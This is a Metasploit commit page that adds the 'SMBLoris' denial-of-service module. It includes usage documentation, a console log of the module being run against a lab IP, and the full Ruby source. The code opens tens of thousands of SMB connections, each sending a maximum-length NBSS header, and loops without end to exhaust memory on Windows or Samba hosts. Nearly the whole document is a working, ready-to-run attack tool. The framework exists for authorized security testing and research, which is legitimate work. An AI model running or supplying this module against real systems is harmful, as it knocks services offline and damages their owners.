Land #8796, SMBLoris Denial of Service Module.
commit
bb5fffebc4
|
@ -0,0 +1,43 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
|
||||
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
|
||||
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
|
||||
|
||||
The module opens over 64,000 connections to the target service, so please make sure
|
||||
your system ULIMIT is set appropriately to handle it. A single host running this module
|
||||
can theoretically consume up to 8GB of memory on the target.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
1. Do: `set RHOST [IP]`
|
||||
1. Do: `run`
|
||||
1. Target should allocate increasing amounts of memory.
|
||||
|
||||
## Scenarios
|
||||
|
||||
###
|
||||
|
||||
```
|
||||
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
|
||||
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
|
||||
RHOST => 192.168.172.138
|
||||
msf auxiliary(smb_loris) >
|
||||
|
||||
msf auxiliary(smb_loris) > run
|
||||
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
|
||||
....
|
||||
```
|
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'bindata'
|
||||
require 'ruby_smb'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
class NbssHeader < BinData::Record
|
||||
endian :little
|
||||
uint8 :message_type
|
||||
bit7 :flags
|
||||
bit17 :message_length
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMBLoris NBSS Denial of Service',
|
||||
'Description' => %q{
|
||||
The SMBLoris attack consumes large chunks of memory in the target by sending
|
||||
SMB requests with the NetBios Session Service(NBSS) Length Header value set
|
||||
to the maximum possible value. By keeping these connections open and initiating
|
||||
large numbers of these sessions, the memory does not get freed, and the server
|
||||
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
|
||||
and Zach Harding.
|
||||
|
||||
DISCALIMER: This module opens a lot of simultaneous connections. Please check
|
||||
your system's ULIMIT to make sure it can handle it. This module will also run
|
||||
continuously until stopped.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'thelightcosine'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://smbloris.com/' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 29 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(445)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
header = NbssHeader.new
|
||||
header.message_length = 0x01FFFF
|
||||
|
||||
linger = Socket::Option.linger(true, 60)
|
||||
|
||||
while true do
|
||||
sockets = {}
|
||||
(1025..65535).each do |src_port|
|
||||
print_status "Sending packet from Source Port: #{src_port}"
|
||||
opts = {
|
||||
'CPORT' => src_port,
|
||||
'ConnectTimeout' => 360
|
||||
}
|
||||
|
||||
if sockets[src_port]
|
||||
disconnect(sockets[src_port])
|
||||
end
|
||||
|
||||
begin
|
||||
nsock = connect(false, opts)
|
||||
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
|
||||
nsock.setsockopt(linger)
|
||||
nsock.write(header.to_binary_s)
|
||||
sockets[src_port] = nsock
|
||||
rescue ::Exception => e
|
||||
print_error "Exception sending packet: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue